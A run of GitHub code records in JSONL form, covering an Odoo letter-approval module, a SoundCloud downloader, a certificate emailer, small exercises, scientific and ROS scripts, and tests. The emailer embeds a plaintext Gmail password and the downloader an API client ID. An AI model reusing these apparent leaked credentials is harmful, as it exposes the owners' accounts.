self:\n\t\t\tr.attendees_count = len(r.attendee_ids)\n\n\t@api.constrains('attendee_ids','instructor_id')\n\tdef _cousetoyourselfnotallowed(self):\n\t\tfor item in self:\n\t\t\tif item.instructor_id in item.attendee_ids:\n\t\t\t\traise exceptions.ValidationError(\"On ne peut se donner cours à soit même\")","repo_name":"nsc-odoo/myfirstaddon","sub_path":"models/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37257389886","text":"#!/usr/bin/python\n# March 8, 2014\nimport urllib.request, urllib.parse, urllib.error, urllib.request, urllib.error, urllib.parse\nimport sys\nimport argparse\nimport re\nimport requests\nimport time\nimport soundcloud\nimport math\nimport os\nimport stagger\n\nclass SoundCloudDownload:\n def __init__(self, url):\n self.url = url\n self.download_progress = 0\n self.current_time = time.time()\n self.titleList = []\n self.pureTitleList = []\n self.artistList = []\n self.likes = False \n self.streamURLlist = self.getStreamURLlist(self.url)\n\n def getStreamURLlist(self, url):\n streamList = []\n tracks = []\n if \"/likes\" in url:\n url = url[:-6]\n self.likes = True\n api = \"http://api.soundcloud.com/resolve.json?url={0}&client_id=YOUR_CLIENT_ID\".format(url)\n r = requests.get(api)\n try:\n user = r.json()['username']\n username = r.json()['username']\n user = r.json()['id']\n span = math.ceil(r.json()['public_favorites_count']/float(200)) if self.likes else math.ceil(r.json()['track_count']/float(200))\n\n for x in range(0, int(span)):\n if self.likes:\n api = \"http://api.soundcloud.com/users/\" + str(user) + \"/favorites.json?client_id=fc6924c8838d01597bab5ab42807c4ae&limit=200&offset=\" + str(x * 200)\n else:\n api = \"http://api.soundcloud.com/users/\" + str(user) + \"/tracks.json?client_id=fc6924c8838d01597bab5ab42807c4ae&limit=200&offset=\" + str(x * 200)\n r = requests.get(api)\n tracks.extend(r.json())\n except:\n try:\n tracks = r.json()['tracks']\n # If this isn't a playlist, just make a list of\n # a single element (the track)\n except:\n tracks = [r.json()]\n if 'username' in locals():\n pathd = os.getcwd()+\"\\\\\"+str(username)+\"\\\\\"\n if not os.path.exists(pathd):\n os.makedirs(pathd)\n os.chdir(pathd)\n for track in tracks:\n waveform_url = track['waveform_url']\n self.titleList.append(self.getTitleFilename(track['title']))\n self.pureTitleList.append(track['title'])\n self.artistList.append(track['user']['username'])\n regex = re.compile(\"\\/([a-zA-Z0-9]+)_\")\n r = regex.search(waveform_url)\n stream_id = r.groups()[0]\n streamList.append(\"http://media.soundcloud.com/stream/{0}\".format(stream_id))\n return streamList\n\n def addID3(self, title, title2, artist):\n print(\"Tagging \"+\"{0}.mp3\".format(title))\n try:\n t = stagger.read_tag(\"{0}.mp3\".format(title))\n except:\n # Try to add an empty ID3 header.\n # As long stagger crashes when there's no header, use this hack.\n # ID3v2 infos : http://id3.org/id3v2-00\n m = open(\"{0}.mp3\".format(title), 'r+b')\n old = m.read()\n m.seek(0)\n m.write(b\"\\x49\\x44\\x33\\x02\\x00\\x00\\x00\\x00\\x00\\x00\" + old) # Meh...\n m.close\n # Let's try again...\n try:\n t = stagger.read_tag(\"{0}.mp3\".format(title))\n # Slicing is to get the whole track name\n # because SoundCloud titles usually have\n # a dash between the artist and some name\n split = title2.find(\"-\")\n if not split == -1:\n t.title = title2[(split + 2):] \n t.artist = title2[:split] \n else:\n t.title = title2\n t.artist = artist\n t.write()\n except:\n print(\"[Warning] Can't add tags, skipped.\")\n \n def downloadSongs(self):\n done = False\n for artist, title, title2, streamURL in zip(self.artistList, self.titleList, self.pureTitleList, self.streamURLlist):\n if not done:\n filename = \"{0}.mp3\".format(title)\n \n sys.stdout.write(\"\\nDownloading: {0}\\n\".format(filename))\n try:\n if not os.path.isfile(filename):\n filename, headers = urllib.request.urlretrieve(url=streamURL, filename=filename, reporthook=self.report)\n self.addID3(title, title2, artist)\n # reset download progress to report multiple track download progress correctly\n self.download_progress = 0\n elif self.likes:\n print(\"File Exists\")\n done = True\n else:\n print(\"File Exists\")\n except Exception as e:\n print (e)\n \n def report(self, block_no, block_size, file_size):\n self.download_progress += block_size\n rProgress = round(self.download_progress/1024.00/1024.00, 1)\n rFile = round(file_size/1024.00/1024.00, 1)\n progress = round(25 * float(self.download_progress)/float(file_size))\n t2 = \" (\" + str(rProgress) +\"/\"+ str(rFile) + \" MB) : \" \n status = t2 + \"[\" + (\"#\" * progress) + (\" \" * (25 - progress)) + \"]\"\n status = status + chr(8) * (len(status))\n sys.stdout.write(status)\n sys.stdout.flush()\n\n ## Convenience Methods\n def getTitleFilename(self, title):\n '''\n Cleans a title from Soundcloud to be a guaranteed-allowable filename in any filesystem.\n '''\n allowed = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-_()\"\n return ''.join(c for c in title if c in allowed)\n\ndef scDL(url):\n download = SoundCloudDownload(url)\n download.downloadSongs()\n print(\"\\nFinished !\\n\")\n\n","repo_name":"Difegue/UnlimitedGrooveWorks","sub_path":"soundclouDL.py","file_name":"soundclouDL.py","file_ext":"py","file_size_in_byte":5581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9241755344","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass Stack:\n def __init__(self):\n self.head = None\n\n def push(self, data) -> None:\n \n \n n=Node(data)\n n.next=self.head\n self.head=n\n\n def pop(self) -> None:\n if self.head!=None:\n \n self.head=self.head.next\n\n def status(self):\n \"\"\"\n It prints all the elements of stack.\n \"\"\"\n element=''\n curr=self.head\n while curr!=None:\n element+=str(curr.data)+\"=>\"\n curr=curr.next\n print(element+\"None\")\n\n\n# Do not change the following code\nstack = Stack()\noperations = []\nfor specific_operation in input().split(','):\n operations.append(specific_operation.strip())\ninput_data = input()\ndata = input_data.split(',')\nfor i in range(len(operations)):\n if operations[i] == \"push\":\n stack.push(int(data[i]))\n elif operations[i] == \"pop\":\n stack.pop()\nstack.status()\n","repo_name":"KITSCTCLab/exercise-6-a-linked-list-implementation-of-stack-agnespaulurk21cs1020","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7602730358","text":"class Solution:\n def makeTheIntegerZero(self, num1: int, num2: int) -> int:\n n = 0\n while True:\n diff = num1 - n * num2\n if diff <= 0:\n break\n if diff.bit_count() <= n and diff >= n:\n return n\n n += 1\n return -1\n","repo_name":"MohamedHamisa/Minimum-Operations-to-Make-the-Integer-Zero","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5791017968","text":"import os\nimport re\nimport smtplib\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom PIL import Image, ImageDraw, ImageFont\nimport pandas as pd\n\n\ndef email(d):\n for key, value in d.items():\n img_data = open('C:\\\\Users\\\\Shrinidhi N Hegde\\\\PycharmProjects\\\\untitled1\\\\images\\\\' + key + '.PNG',\n 'rb').read() # change path\n smtpServer = 'smtp.gmail.com'\n subject = 'Certificate for attending the webinar on \"Hopping into Entrepreneurship Wagon' # change subject\n message = 'Hello ' + key + ',\\n' + 'Greetings from IEEE BMSIT&M SB\\nThank you for attending the webinar on \" Hopping into Entrepreneurship Wagon\".\\nKindly find your certificate attached below.\\nRegards.' # change body\n sender = 'ieee_certificates@bmsit.in' # change email ID\n password = '2017s3775.' #change password\n msg = MIMEMultipart()\n msg['From'] = sender\n msg['To'] = value\n msg['Subject'] = subject\n msg.attach(MIMEText(message, 'plain'))\n image = MIMEImage(img_data, name=os.path.basename(key + '.JPG'))\n msg.attach(image)\n server = smtplib.SMTP(smtpServer, 587)\n server.ehlo()\n server.starttls()\n server.login(sender, password)\n text = msg.as_string()\n server.sendmail(sender, value, text)\n server.quit()\n print('email sent to ' + value)\n\n\ndf = pd.ExcelFile('Book (1).xlsx').parse('Sheet1') # Change xlsx file name\nx = []\ny = []\nx.append(str(df['Names'])) # Column of names\ny.append(str(df['Email'])) # column of emails\nemails = re.findall(\"[A-Za-z].*[a-z]\", y[0])\nnames = re.findall(\"[A-Za-z].*[A-Za-z]\", x[0])\nemails.pop()\nnames.pop()\ndic = dict(zip(names, emails))\nfor i in names:\n image = Image.open(\n 'image.png') # change image\n\n draw = ImageDraw.Draw(image)\n\n font = ImageFont.truetype('Ubuntu-Regular.ttf', size=32) # use the font of your choice\n\n (x, y) = (860, 670) # set coordinates (use ms paint)\n\n message = i\n\n color = 'rgb(0,0,0)'\n\n draw.text((x, y), message, fill=color, font=font)\n\n save = message + '.PNG'\n\n dir_path = \"C:\\\\Users\\\\Shrinidhi N Hegde\\\\PycharmProjects\\\\untitled1\\\\images\" # change path\n file_path = os.path.join(dir_path, save)\n\n image.save(file_path)\n print(save + ' image saved')\n\nemail(dic) # call email function\nprint('Success!')\n","repo_name":"shrinidhinhegde/Certificate_maker_and_Email","sub_path":"certificate.py","file_name":"certificate.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"73614278667","text":"import random\nimport string\nimport base64\nimport io\nimport qrcode\nfrom datetime import datetime, timedelta\nfrom odoo import api, fields, models, exceptions, _\nimport logging\nfrom odoo.exceptions import UserError, ValidationError\n\n_logger = logging.getLogger(__name__)\n\n\nclass SupremeCourtLetter(models.Model):\n _name = \"supreme.court.letter\"\n _description = \"Supreme Court Letter\"\n _rec_name = \"display_number\"\n\n number = fields.Integer(\n string=\"Số\",\n required=True,\n copy=False,\n readonly=True,\n index=True,\n default=lambda self: self.env[\"ir.sequence\"].next_by_code(\n \"supreme.court.letter\"\n ),\n )\n\n @api.model\n def _get_default_user(self):\n return [self.env.user.id]\n\n user_ids = fields.Many2many(\n \"res.users\", string=\"Người gửi\", default=_get_default_user\n )\n\n recipient_name = fields.Char(\n string=\"Tên các đồng chí\", compute=\"_compute_recipient_name\", store=True\n )\n display_number = fields.Char(string=\"Số\", compute=\"_compute_display_number\")\n\n @api.depends(\"number\")\n def _compute_display_number(self):\n for record in self:\n record.display_number = f\"{record.number:05}\"\n\n @api.depends(\"user_ids\")\n def _compute_recipient_name(self):\n \"\"\"This method is used to compute the recipient names\"\"\"\n for letter in self:\n recipient_name = \"\"\n for user in letter.user_ids:\n if user.name:\n recipient_name += user.name + \", \"\n letter.recipient_name = recipient_name[:-2]\n\n title_position = fields.Many2many('supreme.court.position', string=\"Chức vụ\")\n\n organization_unit = fields.Char(string=\"Tổ chức\", default=\"Báo Công Lý\")\n address = fields.Text(string=\"Nơi đến\")\n regarding = fields.Text(string=\"Về việc\")\n validity_duration = fields.Selection(\n string=\"Thời hạn\",\n selection=[\n (\"1\", \"1 tuần\"),\n (\"2\", \"2 tuần\"),\n (\"3\", \"3 tuần\"),\n (\"4\", \"4 tuần\"),\n ],\n default=\"2\",\n )\n user_can_edit = fields.Boolean(compute='_compute_user_can_edit')\n\n @api.depends('approval_status')\n def _compute_user_can_edit(self):\n for record in self:\n # Check if the user is in one of the specific groups\n user_is_in_group = self.env.user.has_group('supco.group_first_approval') or self.env.user.has_group(\n 'supco.group_second_approval')\n\n # Set the field value based on approval_status and group membership\n record.user_can_edit = record.approval_status in ['draft', 'rejected'] or user_is_in_group\n\n validity_to_date = fields.Date(string=\"Hiệu lực đến ngày\", compute=\"_compute_validity_to_date\", readonly=True,\n store=True)\n is_valid = fields.Boolean(string=\"Còn hiệu lực\", compute=\"_compute_is_valid\")\n\n @api.depends(\"validity_duration\", \"approval_status\", \"approve_date\")\n def _compute_validity_to_date(self):\n for letter in self:\n if letter.validity_duration and letter.approval_status == \"approved\":\n letter.validity_to_date = letter.approve_date + timedelta(weeks=int(letter.validity_duration))\n else:\n letter.validity_to_date = False\n\n @api.depends(\"validity_to_date\")\n def _compute_is_valid(self):\n for letter in self:\n if letter.validity_to_date and letter.validity_to_date >= datetime.now().date():\n letter.is_valid = True\n else:\n letter.is_valid = False\n\n delta_date_created = fields.Char(\"Đang chờ\", compute=\"_compute_delta_date_created\")\n\n @api.depends(\"approval_status\")\n def _compute_delta_date_created(self):\n for letter in self:\n if letter.approval_status == \"approved\":\n letter.delta_date_created = \"Đã được phê duyệt\"\n else:\n now = datetime.now().date()\n diff = now - letter.date_created\n letter.delta_date_created = f\"{diff.days} ngày\"\n\n created_by = fields.Many2one(\n \"res.users\", string=\"Tạo bởi\", default=lambda self: self.env.user\n )\n custom_url = fields.Char(string=\"URL\", compute=\"_compute_custom_url\", store=True)\n qr_code = fields.Binary(\"Mã QR\", compute=\"_compute_qr_code\", store=True)\n public_id = fields.Char(\n string=\"Public ID\",\n copy=False,\n readonly=True,\n default=lambda self: \"_\".join(\n [\n \"cl\",\n \"ggt\",\n \"\".join(random.choices(string.ascii_letters + string.digits, k=16)),\n ]\n ),\n )\n\n @api.depends(\"number\")\n def _compute_custom_url(self):\n base_url = self.env[\"ir.config_parameter\"].sudo().get_param(\"web.base.url\")\n for letter in self:\n if letter.public_id:\n letter.custom_url = f\"{base_url}/letters/ggt/{letter.public_id}\"\n else:\n letter.custom_url = False\n\n @api.depends('public_url')\n def _compute_qr_code(self):\n for letter in self:\n if letter.public_url:\n qr_code_link = letter.public_url\n\n # Generate a QR code from the link\n qr = qrcode.QRCode(\n version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\n qr.add_data(qr_code_link)\n qr.make(fit=True)\n\n img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n buffer = io.BytesIO()\n img.save(buffer, format=\"PNG\")\n encoded_image = base64.b64encode(buffer.getvalue())\n letter.qr_code = encoded_image\n else:\n letter.qr_code = False\n\n def button_print_pdf(self):\n self.ensure_one() # Ensure this is called for one record only\n base_url = self.env[\"ir.config_parameter\"].sudo().get_param(\"web.base.url\")\n if self.public_id:\n pdf = f\"{base_url}/letters/pdf/{self.public_id}\"\n return {\n \"type\": \"ir.actions.act_url\",\n \"url\": pdf,\n \"target\": \"new\",\n }\n\n approval_status = fields.Selection(\n [\n (\"draft\", \"Nháp\"),\n (\"waiting_first_approval\", \"Chờ duyệt lần 1\"),\n (\"waiting_second_approval\", \"Chờ duyệt lần 2\"),\n (\"approved\", \"Đã được duyệt\"),\n (\"rejected\", \"Bị từ chối\"),\n ],\n default=\"draft\",\n string=\"Trạng thái duyệt\",\n )\n\n first_approval_by = fields.Many2one(\n \"res.users\", string=\"Người duyệt lần đầu\", readonly=True\n )\n second_approval_by = fields.Many2one(\n \"res.users\", string=\"Người duyệt lần hai\", readonly=True\n )\n\n reject_by = fields.Many2one(\"res.users\", string=\"Người từ chối\", readonly=True)\n reject_reason = fields.Text(string=\"Lý do từ chối\")\n reject_reason_user = fields.Text(\n string=\"Lý do từ chối\", readonly=True, compute=\"_compute_reject_reason_user\"\n )\n approve_date = fields.Date(string=\"Ngày duyệt\", readonly=True, store=True)\n\n @api.depends(\"reject_reason\")\n def _compute_reject_reason_user(self):\n for letter in self:\n letter.reject_reason_user = letter.reject_reason\n\n def action_request_first_approval(self):\n self.ensure_one()\n\n # Check if the record already has either first or second approver set\n if self.first_approval_by or self.second_approval_by:\n raise UserError(\n _(\"Thư này đã có người duyệt. Không thể xin duyệt lần một.\")\n )\n\n # Check if the status has already been changed to waiting_first_approval\n if self.approval_status == \"waiting_first_approval\":\n raise UserError(_(\"Thư này đang trong trạng thái 'Xin duyệt lần 1'.\"))\n\n self.write(\n {\n \"approval_status\": \"waiting_first_approval\",\n \"first_approval_by\": False,\n \"second_approval_by\": False,\n }\n )\n\n return {\n \"type\": \"ir.actions.act_window\",\n \"view_mode\": \"tree,form\",\n \"res_model\": \"supreme.court.letter\",\n }\n\n def action_first_approval(self):\n self.ensure_one() # Ensure that only one record is being processed\n self.write(\n {\n \"approval_status\": \"waiting_second_approval\",\n \"first_approval_by\": self.env.user.id,\n }\n )\n return {\n \"type\": \"ir.actions.act_window\",\n \"view_mode\": \"tree,form\",\n \"res_model\": \"supreme.court.letter\",\n }\n\n def action_second_approval(self):\n self.ensure_one()\n self.write(\n {\"approval_status\": \"approved\",\n \"second_approval_by\": self.env.user.id,\n \"approve_date\": datetime.now().date()}\n )\n return {\n \"type\": \"ir.actions.act_window\",\n \"view_mode\": \"tree,form\",\n \"res_model\": \"supreme.court.letter\",\n }\n\n def action_reject(self):\n self.ensure_one()\n\n # Check if a reject reason is provided\n if not self.reject_reason:\n raise exceptions.UserError(\n _(\"Xin hãy đưa ra lý do từ chối trước khi tiếp tục.\")\n )\n\n # Check if the status is approved\n if self.approval_status == \"approved\":\n raise exceptions.UserError(\n _(\"Không thể từ chối giấy giới thiệu đã được duyệt.\")\n )\n\n # Create log before changing the status\n\n self.env[\"letter.rejection.log\"].create(\n {\n \"letter_id\": self.id,\n \"reject_by\": self.env.user.id,\n \"rejection_reason\": self.reject_reason,\n \"rejection_time\": datetime.now(),\n }\n )\n\n self.write(\n {\n \"approval_status\": \"rejected\",\n \"second_approval_by\": False,\n \"first_approval_by\": False,\n \"reject_by\": self.env.user.id,\n }\n )\n\n # Notify the client about status change\n return {\n \"type\": \"ir.actions.client\",\n \"tag\": \"display_notification\",\n \"params\": {\n \"title\": \"Rejection\", # Notification's title\n \"message\": _(\"Giấy giới thiệu đã bị từ chối.\"),\n \"sticky\": False, # True means the notification won't auto-close\n },\n }\n\n attachment_ids = fields.One2many(\n \"ir.attachment\",\n \"res_id\",\n domain=[(\"res_model\", \"=\", \"supreme.court.letter\")],\n string=\"Tệp tin đính kèm\",\n )\n\n date_created = fields.Date(\n string=\"Ngày tạo\", default=datetime.today().date(), readonly=True\n )\n\n gdrive_url = fields.Char(string=\"Tài liệu từ Google Drive\")\n\n def reject_show(self):\n return {\n \"name\": \"Lý do từ chối\",\n \"views\": [\n [self.env.ref(\"supco.view_letter_rejection_log_logview\").id, \"log\"]\n ],\n \"type\": \"ir.actions.act_window\",\n \"res_model\": \"letter.rejection.log\",\n \"target\": \"new\",\n \"domain\": [(\"letter_id\", \"=\", self.id)],\n }\n\n signed_upload_file = fields.Binary(string=\"Tệp tin đã ký\")\n signed_upload_file_name = fields.Char(string=\"Tên tệp tin đã ký\")\n public_url = fields.Char(string=\"Đường dẫn đến tệp tin đã ký\", compute='_compute_public_url', store=True)\n\n @api.depends('signed_upload_file_name')\n def _compute_public_url(self):\n base_url = self.env['ir.config_parameter'].sudo().get_param('web.base.url')\n for record in self:\n if record.signed_upload_file_name:\n # Assuming the public_id is unique for each record, like its ID\n record.public_url = f\"{base_url}/letters/pdf/signed/{record.id}\"\n else:\n record.public_url = False\n\n @api.constrains('signed_upload_file', 'signed_upload_file_name')\n def _check_signed_upload_file(self):\n for record in self:\n if record.signed_upload_file and record.signed_upload_file_name:\n file_name = record.signed_upload_file_name.lower()\n\n # Check the file name starts with 'cl_ggt' and ends with '_signed'\n if not file_name.startswith('cl_ggt'):\n raise ValidationError(\n \"File name must start with 'cl_ggt'.\")\n\n # Check that the uploaded file is a PDF by checking the magic number\n file_content = base64.b64decode(record.signed_upload_file)\n if not file_content.startswith(b'%PDF-'):\n raise ValidationError(\"The uploaded file must be a PDF.\")\n\n\nclass LetterRejectionLog(models.Model):\n _name = \"letter.rejection.log\"\n _description = \"Log of Rejected Letters\"\n\n letter_id = fields.Many2one(\n \"supreme.court.letter\", string=\"Giấy giới thiệu số\", readonly=True,\n ondelete=\"cascade\"\n )\n reject_by = fields.Many2one(\"res.users\", string=\"Người từ chối\", readonly=True)\n rejection_reason = fields.Text(\"Lý do từ chối\")\n rejection_time = fields.Datetime(\n string=\"Time Rejected\", default=datetime.now(), readonly=True\n )\n","repo_name":"svseas/SupCo","sub_path":"local-addons/supco/models/introduction_letter.py","file_name":"introduction_letter.py","file_ext":"py","file_size_in_byte":13732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4661403576","text":"#-------------------------------------------------------------------------------\n# asks user's height and gender to output their ideal weight\n#\n# (C) 2020 Flavio Fernando da Silva, Presidente Prudente, Brazil\n# email tchfernando@gmail.com\n#-------------------------------------------------------------------------------\n\nheight = float(input(\"Insert your height as (M.CM): \")) # this asks the user to input their height\ngender = input(\"Enter your gender as W for woman or M for man? \") # take in user's gender\n\nif gender == 'M' or gender == 'm': # this checks if user is a man by checking characters in capital or lowercase letters\n ideal_weight = round((72.2 * height) - 58, 2) # calculates the ideal height for a man and rounds it down to 2 decimals (insert round before calculus, open brackets and add \", (number of decimals you want)\" then close brackets\n print(\"Your ideal weight is: \" ,ideal_weight) # outputs ideal weight\nelse:\n ideal_weight = round((62.1 * height) - 44.7, 2) # does calculus if first statement is false and outputs result\n print(\"Your ideal weight is: \" ,ideal_weight)","repo_name":"tchfer/python","sub_path":"lista_2/ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5666441548","text":"import MDAnalysis as mda\r\nimport numpy as np\r\nfrom numpy.linalg import norm\r\nimport pandas as pd\r\n\r\n\r\ndef molDistance(u,SOL_atoms,start,skip):\r\n\t# returns a dataframe\r\n\t\r\n\t# calculate Euclidean distance of its center of mass\r\n\t# from a reference frame\r\n\t\r\n\t# skip : skip frames in the trajectory\r\n\t# start : the index of starting frame\r\n\t# SOL_atoms : atom group of the individual solvent molecule\r\n\r\n\tdistance = np.zeros(len(u.trajectory[start::skip]))\r\n\ttime = np.zeros(len(u.trajectory[start::skip]))\r\n\tfor indx, ts in enumerate(u.trajectory[start::skip]):\r\n\t # get the reference from the first frame of the trajectory\r\n\t # (frames start from 0)\r\n\t if ts.frame == start:\r\n\t ref = SOL_atoms.center_of_mass()\r\n\t \r\n\t # calculate distance and \r\n\t distance[indx] = norm( SOL_atoms.center_of_mass() - ref )\r\n\t time[indx] = ts.time\r\n\r\n\t# ps to ns\r\n\ttime = time*1.0e-3\r\n\t# angstrom to nm\r\n\tdistance = distance*1.0e-1\r\n\t\r\n\treturn pd.DataFrame({'time': time, 'COM_L2_nm': distance})\r\n\r\ndef filterDistance(df,threshold,skip):\r\n # returns numpy array\r\n df = df[ df['COM_L2_nm'] <= threshold ]\r\n dis = df['COM_L2_nm'].to_numpy()\r\n return dis[0::skip]\r\n\r\ndef getX(bins):\r\n X = []\r\n for i in range(1,len(bins)):\r\n X.append(0.5*(bins[i-1] + bins[i]))\r\n return np.array(X)\r\n\r\ndef PMF(dis,nbins):\r\n # PMF: Potential Mean Force\r\n # returns two numpy arrays\r\n dis = np.delete(dis,0) # remove the first element because it is zero\r\n counts, bins = np.histogram(dis,density=True,bins=nbins)\r\n rc = getX(bins)\r\n # clear counts and bins when zero is encountered\r\n data = {'rc': rc, 'density': counts}\r\n df = pd.DataFrame(data)\r\n df = df[ df['density'] != 0.0 ]\r\n rc = df['rc'].to_numpy()\r\n density = df['density'].to_numpy()\r\n fes = -np.log(density)\r\n return rc, fes","repo_name":"vasilogi/MDanalysis","sub_path":"distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17779148221","text":"from fastapi import FastAPI\n\nfrom app.db import database, User # This creates all tables on import\n\napp = FastAPI(title=\"FastAPI, Docker and Traefik!\")\n\n#=====================\n# Database connection\n#=====================\n@app.on_event(\"startup\")\nasync def startup():\n if not database.is_connected:\n await database.connect()\n # create a dummy user\n await User.objects.get_or_create(email=\"test@test.com\")\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n if database.is_connected:\n await database.disconnect()\n\n\n# Get all users\n@app.get(\"/\")\nasync def read_root():\n return await User.objects.all()","repo_name":"yuliepie/fastapi-docker-traefik","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35970531464","text":"#!/usr/bin/env python\nimport rospy\nimport std_msgs.msg \nimport visualization_msgs.msg as vm\nimport geometry_msgs.msg as gm\nimport time\n\ndef clear():\n pub = rospy.Publisher('visualization_marker',vm.Marker,latch=True,queue_size=10)\n if not rospy.is_shutdown():\n m=vm.Marker()\n m.type = m.SPHERE_LIST\n m.action = m.DELETE\n pub.publish(m)\n\ndef talker():\n pub = rospy.Publisher('visualization_marker',vm.Marker,queue_size=10)\n rospy.init_node('waypoint_course') \n frame = rospy.get_param('~frame','odom')\n dist = rospy.get_param('~size',2)\n XX = [0,dist,-dist,-dist,dist]\n YY = [0,dist,dist,-dist,-dist]\n m=vm.Marker()\n m.type = m.SPHERE_LIST\n m.action = m.ADD\n s=0.2\n m.scale.x = s\n m.scale.y = s\n m.scale.z = s\n m.color.r=1.0\n m.color.g=0\n m.color.a=1.0\n m.pose.orientation.w=1.0;\n m.header.stamp = rospy.Time.now()\n m.header.frame_id = frame\n m.id = 1\n for x,y,mid in zip(XX,YY,range(len(XX))):\n p = gm.Point()\n p.x =x\n p.y =y\n m.points.append(p)\n cnt = 0\n while ( (cnt<25) and (not rospy.is_shutdown()) ):\n print(\"Publishing Sphere List\")\n pub.publish(m)\n rospy.sleep(0.5)\n cnt += 1\n \n \n\nif __name__ == '__main__':\n\n #time.sleep(10.0) # wait for rviz to start!\n try:\n #clear()\n talker()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"Ingenia-SE/T-Groundair","sub_path":"Software/nre_p3at/python/waypoint_course_rviz.py","file_name":"waypoint_course_rviz.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"12456152010","text":"import logging\n\nimport gevent\nfrom werkzeug.http import HTTP_STATUS_CODES\n\nfrom app import app\n\n\nlogger = logging.getLogger('gevent')\n\nclass WSGIHandler(gevent.wsgi.WSGIHandler):\n def log_request(self, *args):\n '''Use standard logging'''\n code = self.request.response_code\n if app.config['DEBUG']:\n message = '%s [%s: %s]' % (self.request.uri, code,\n HTTP_STATUS_CODES.get(code, 'Unknown'))\n else:\n message = self.format_request(*args)\n if code < 404:\n logger.info(message)\n elif code < 500:\n logger.warn(message)\n else:\n logger.error(message)\n","repo_name":"imbolc/flask-peewee-skeleton","sub_path":"utils/_gevent.py","file_name":"_gevent.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"13408360908","text":"import unittest\nfrom datetime import date\nfrom decimal import Decimal\nfrom unittest.mock import patch\n\nfrom repo import Budget\nfrom service import BudgetService\n\n\nclass TestBudgetService(unittest.TestCase):\n def setUp(self):\n self.service = BudgetService()\n self.fake_get_all = patch(\"repo.BudgetRepo.get_all\").start()\n\n def tearDown(self) -> None:\n patch.stopall()\n\n def test_invalid_input_when_end_before_start(self):\n start = date(2022, 5, 10)\n end = date(2022, 4, 10)\n self.assertEqual(Decimal(0), self.service.query(start, end))\n\n def test_whole_month(self):\n self.fake_get_all.return_value = [Budget(\"202205\", 10000)]\n start = date(2022, 5, 1)\n end = date(2022, 5, 31)\n self.assertEqual(Decimal(10000), self.service.query(start, end))\n\n def test_one_day(self):\n self.fake_get_all.return_value = [Budget(\"202205\", 310)]\n start = date(2022, 5, 1)\n end = start\n self.assertEqual(Decimal(10), self.service.query(start, end))\n\n def test_cross_month(self):\n self.fake_get_all.return_value = [\n Budget(\"202205\", 310),\n Budget(\"202204\", 6000),\n ]\n start = date(2022, 4, 30)\n end = date(2022, 5, 2)\n self.assertEqual(Decimal(1 * 200 + 2 * 10), self.service.query(start, end))\n\n def test_repo_not_amount(self):\n self.fake_get_all.return_value = [\n Budget(\"202204\", 6000),\n ]\n start = date(2022, 5, 1)\n end = date(2022, 5, 2)\n self.assertEqual(Decimal(0), self.service.query(start, end))\n\n def test_parse_year_month(self):\n year, month = self.service.parse_year_month_str('202205')\n self.assertEqual(2022, year)\n self.assertEqual(5, month)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jasonp213/tdd-budget","sub_path":"test_budget_service.py","file_name":"test_budget_service.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74684805067","text":"from .. import properties as props\nfrom .. import events\n\n@events.examine.on.handle(0)\ndef base_examine(thing, detailed):\n\tif thing not in props.name:\n\t\treturn \"\"\n\telse:\n\t\tname = props.name[thing]\n\t\tarticle = None\n\t\tif thing in props.name_article:\n\t\t\tarticle = props.name_article[thing]\n\t\telse:\n\t\t\tif len(name) > 0:\n\t\t\t\tarticle = \"an\" if name[0].lower() in \"aeiou\" else \"a\"\n\t\tif article is not None:\n\t\t\tname = \" \".join((article, name))\n\t\treturn name\n\n@events.examine.on.handle(1)\ndef examine_activatable(thing, detailed):\n\tif detailed:\n\t\tap = props.activation_ap[thing] if thing in props.activation_ap else 1\n\t\tif thing in props.activation_target_range:\n\t\t\tparams = props.activation_target_range[thing]\n\t\t\treturn f\"[{ap} {params.move_range}+{params.fire_range}]\"\n\t\telse:\n\t\t\treturn f\"[{ap}]\"\n","repo_name":"theq629/wastrl","sub_path":"wastrl/game/logic/examine.py","file_name":"examine.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21807563279","text":"from algos.pre_processing import filter_duplicates, filter_erroneous\nfrom algos.statistics import 